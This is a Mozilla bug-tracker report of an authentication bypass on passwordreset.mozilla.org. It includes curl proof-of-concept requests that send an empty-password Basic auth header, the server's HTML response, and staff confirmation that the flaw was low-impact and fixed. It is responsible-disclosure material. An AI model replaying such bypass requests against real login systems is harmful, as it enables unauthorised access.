Closed
Bug 1231099
Opened 10 years ago
Closed 10 years ago
Auth Bypass on passwordreset.mozilla.org
Categories
(Websites :: Other, defect)
Tracking
(Not tracked)
RESOLVED
FIXED
People
(Reporter: griffin.francis.1993, Assigned: rtucker)
Details
(Keywords: sec-low, wsec-authentication)
User Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Steps to reproduce:
Hi folks.
Whilst doing some testing on the domain https://passwordreset.mozilla.org/ I was able to bypass the authorisation which was presented. A normal base 64 request will look like admin:admin or YWRtaW46YWRtaW4= However. If we if send the request as admin: or YWRtaW46 within the request it will be bypassed. We can use this for any user, they don't have to be valid for it to work. I am not sure that once this is bypassed if the password reset feature will work for a valid user. However I will leave this for the Mozilla staff to determine. Perhaps we can also encode the base 64 request to have a reflected-cross site scripting payload which will be returned? I don't want to experiment encase it turns into a stored cross site scripting issue if it does indeed exist. At this stage I haven't tested it on other Mozilla based domains.
Here is the request:
curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0' -H 'Authorization: Basic YWRtaW46' \
-b '__utma=150903082.307917092.1423790625.1423790625.1425040093.2; optimizelySegments=%7B%22245875585%22%3A%22campaign%22%2C%222427280098%22%3A%22true%22%2C%22245617832%22%3A%22none%22%2C%22246048108%22%3A%22false%22%2C%22245677587%22%3A%22ff%22%2C%22869421433%22%3A%22true%22%2C%221709580498%22%3A%22ff%22%2C%221710521323%22%3A%22referral%22%2C%221706941468%22%3A%22false%22%2C%221706010671%22%3A%22none%22%2C%222000810488%22%3A%22false%22%2C%222017550344%22%3A%22ff%22%2C%221994990450%22%3A%22none%22%2C%222011280991%22%3A%22referral%22%2C%223527572601%22%3A%22true%22%7D; optimizelyEndUserId=oeu1425040092805r0.422072632621065; optimizelyBuckets=%7B%7D; _ga=GA1.2.307917092.1423790625' \
'https://passwordreset.mozilla.org/'
Which results in:
HTTP/1.1 401 Authorization Required
Server: Apache
X-Backend-Server: generic2.webapp.phx1.mozilla.com
WWW-Authenticate: Basic realm="Mozilla Corporation - LDAP Login"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Strict-Transport-Security: max-age=2629744; includeSubdomains
Date: Tue, 08 Dec 2015 11:26:00 GMT
X-Cache-Info: not cacheable; response code not cacheable
Content-Length: 5846
<!DOCTYPE html>
<html>
<head>
<title>Mozilla Corporation/Foundation IT Requests</title>
<link rel="shortcut icon" href="./static/img/favicon.ico" />
<link rel="Top" href="https://bugzilla.mozilla.org/">
<!--[if lte IE 8]>
<script src="./static/js/lib/html5shiv.js"></script>
<![endif]-->
<link href="./static/css/sandstone-resp.css" rel="stylesheet" type="text/css" media="screen" />
<link href="./static/css/password-reset.css" rel="stylesheet" type="text/css" media="screen" />
</head>
<body class="sand">
<div id="outer-wrapper">
<div id="wrapper">
<header id="masthead">
<h2><a href="//mozilla.org/"><img src="./static/img/sandstone/header-mozilla-stone.png" alt="mozilla"></a></h2>
</header>
<hgroup class="header">
<h1>Password Reset for admin.</h1>
</hgroup>
<form id="form" method="post" class="pass-reset-form">
<fieldset class="billboard">
<h3>Enter New Password</h3>
<p>Sample password: <span id='sample_password'>Databasing Liveried Snuffy Swatow Accomplishable</span></p>
<div id='regenerate_div'><input id='regenerate_button' type="button" value="Refresh Sample Password" class="button password" /></p>
<table>
<tr><td>New Password:</td><td> <input type="password" id="new_password" name="new_password"></td></tr>
<tr><td>New Password (Again):</td><td> <input type="password" id="new_password_conf" name="new_password_conf"></td></tr>
<tr><td colspan="2"> </td></tr>
<tr><td colspan="2"><strong>Password/Passphrase rules</strong></td></tr>
<tr><td colspan="2">
<ul>
<li>Minimum length is 16 character.</li>
<li>4 words minimum when using a passphrase.</li>
<li>Max size 100 chars.</li>
<li>Various checks are done and will refuse passwords that reuse the same words too many times, birthdate suffix/prefix, etc.</li>
</ul>
</td></tr>
</table>
<input type="submit" value="Change Password" class="button password" />
</fieldset>
<h4>Password Change Documentation</h4>
<ul>
<li><a href='https://mana.mozilla.org/wiki/display/SD/LDAP+Password+Reset+Instructions'>LDAP Password Reset Instructions</a></li>
</ul>
<h4>After Changing Your LDAP Password</h4>
<ul>
<li>We recommend using the "Mass Password Reset" add-on. This convenient tool will reset multiple passwords in the FireFox/Thunderbird password manager. Download the "Mass Password Reset" add-on from Mozilla Add-ons (AMO): <a href="https://addons.mozilla.org/en-US/firefox/addon/mass-password-reset/?src=search">https://addons.mozilla.org/en-US/firefox/addon/mass-password-reset/?src=search</a>.<br />
<li>Don't forget to update your computer's wireless settings because the wireless network uses your LDAP credentials to log in.<br />
</ul>
<h4>Updating Your Computer's Wireless Settings</h4>
<h5>Mac OS X</h5>
<ol>
<li><a href="https://mana.mozilla.org/wiki/download/attachments/35062734/Reset%20Mozilla%20WiFi%20Password.zip?api=v2">Download</a> this Password reset application.</li>
<li>Run the application on the computer that needs its wireless settings reset.</li>
<li>Turn Wi-Fi off then on.</li>
<li>Connect to the Mozilla wireless network with your new LDAP credentials.</li>
</ol>
<h5>Windows 7</h5>
<ol>
<li>Go to the Windows Start Menu.</li>
<li>Open the Control Panel.</li>
<li>Go to Network and Sharing Center.</li>
<li>Click "Manage wireless networks" in the left navigation pane.</li>
<li>Delete Mozilla / Mozilla-G.</li>
<li>Connect to a Mozilla Network with your new LDAP credentials.</li>
</ol> </div>
<footer id="colophon">
<div class="row">
<div class="footer-logo">
<a href="//mozilla.org"><img src="./static/img/sandstone/footer-mozilla.png" alt="mozilla"></a>
</div>
<div class="footer-license">
<p>Portions of this content are ©1998–2013 by individual mozilla.org contributors. Content available under a <a href="//www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a>.</p>
<p><a href="//mozilla.org/b/en-US/contribute/page/">Contribute to this page</a></p>
</div>
<ul class="footer-nav">
<li><a href="//mozilla.org/about/contact.html#map-mountain_view">Contact Us</a></li>
<li><a href="//mozilla.org/privacy-policy.html">Privacy Policy</a></li>
<li><a href="//mozilla.org/about/legal.html">Legal Notices</a></li>
<li><a href="//mozilla.org/legal/fraud-report/index.html">Report Trademark Abuse</a></li>
</ul>
<ul class="footer-nav">
<li><a href="http://twitter.com/firefox">Twitter</a></li>
<li><a href="http://facebook.com/Firefox">Facebook</a></li>
<li><a href="https://affiliates.mozilla.org/">Firefox Affiliates</a></li>
</ul>
</div>
</footer>
</div>
<script type="text/javascript" src="./static/js/jquery-1.7.1.min.js"></script>
<script type="text/javascript" src="./static/js/jquery.validate.min.js"></script>
<script type="text/javascript" src="./static/js/reset_validate.js"></script>
<script>
$(document).ready(function(){
$("#regenerate_button").click(function(){
$.get('regenerate.php', function(data) {
$("#sample_password").html(data);
});
});
});
</script>
</body>
</html>
Actual results:
The request was processed.
| Reporter | ||
Updated•10 years ago
|
Severity: normal → major
| Reporter | ||
Comment 1•10 years ago
|
||
I updated it to major/critical. Please let me know if you disagree. However I think it is an issue that needs to be addressed.
| Reporter | ||
Comment 2•10 years ago
|
||
Also another working Proof of concept:
curl --trace mozdump.txt -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0' -H 'Authorization: Basic YWRtaW46' -b '__utma=150903082.307917092.1423790625.1423790625.1425040093.2; optimizelySegments=%7B%22245875585%22%3A%22campaign%22%2C%222427280098%22%3A%22true%22%2C%22245617832%22%3A%22none%22%2C%22246048108%22%3A%22false%22%2C%22245677587%22%3A%22ff%22%2C%22869421433%22%3A%22true%22%2C%221709580498%22%3A%22ff%22%2C%221710521323%22%3A%22referral%22%2C%221706941468%22%3A%22false%22%2C%221706010671%22%3A%22none%22%2C%222000810488%22%3A%22false%22%2C%222017550344%22%3A%22ff%22%2C%221994990450%22%3A%22none%22%2C%222011280991%22%3A%22referral%22%2C%223527572601%22%3A%22true%22%7D; optimizelyEndUserId=oeu1425040092805r0.422072632621065; optimizelyBuckets=%7B%7D; _ga=GA1.2.307917092.1423790625' 'https://passwordreset.mozilla.org/'
| Reporter | ||
Updated•10 years ago
|
Summary: Auth Bypass on Internal Domain/Domains → Auth Bypass on passwordreset.mozilla.org
Updated•10 years ago
|
Assignee: nobody → rtucker
QA Contact: april
Comment 3•10 years ago
|
||
After examining this bug, it only lets you bypass the authentication screen for ids that are not actually users. If you attempted to do a password reset with an actual Mozilla user, it would fail immediately.
The authentication screen bypass was due to poor exception handling that let you see the password reset template, but this would not let you actually do anything. All actual password resets required the user's valid credentials via basic auth.
The site has been updated to generate a proper error instead of displaying the password template page, in commits 111001 and 111002.
Griffin, thank you for testing this. If you would like to continue to poke at Password Reset -- without worries with regards to XSS -- feel free to use our staging instance at https://passwordreset.allizom.org/. Thanks!
Group: websites-security
Severity: major → minor
Status: UNCONFIRMED → RESOLVED
Closed: 10 years ago
Keywords: sec-low,
wsec-authentication
Resolution: --- → FIXED
You need to log in
before you can comment on or make changes to this bug.
Description
•